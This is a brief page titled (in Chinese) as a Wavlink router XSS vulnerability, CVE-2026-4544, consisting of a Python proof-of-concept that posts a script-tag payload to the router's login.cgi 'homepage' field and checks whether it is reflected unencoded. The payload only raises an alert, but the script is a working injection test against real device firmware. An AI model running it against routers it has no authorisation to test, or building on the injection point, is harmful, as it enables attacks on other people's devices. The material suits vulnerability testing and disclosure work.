CVE-2026-4544 Wavlink路由器XSS漏洞

import requests def check_xss_vulnerability(target_ip): """ PoC for CVE-2026-4544 This script checks if the target is vulnerable to XSS in the login.cgi endpoint. """ url = f"http://{target_ip}/cgi-bin/login.cgi" # Payload attempting to execute JavaScript xss_payload = "<script>alert('CVE-2026-4544_XSS');</script>" # Vulnerable parameters mentioned in the description data = { "homepage": xss_payload, "hostname": "test_host", "login_page": "test_page" } try: response = requests.post(url, data=data, timeout=5) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print(f"[+] Target {target_ip} is vulnerable to CVE-2026-4544.") print(f"[+] Payload reflected in response.") else: print(f"[-] Target {target_ip} does not appear to be vulnerable or payload was filtered.") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "192.168.10.1" # Replace with actual target IP check_xss_vulnerability(target)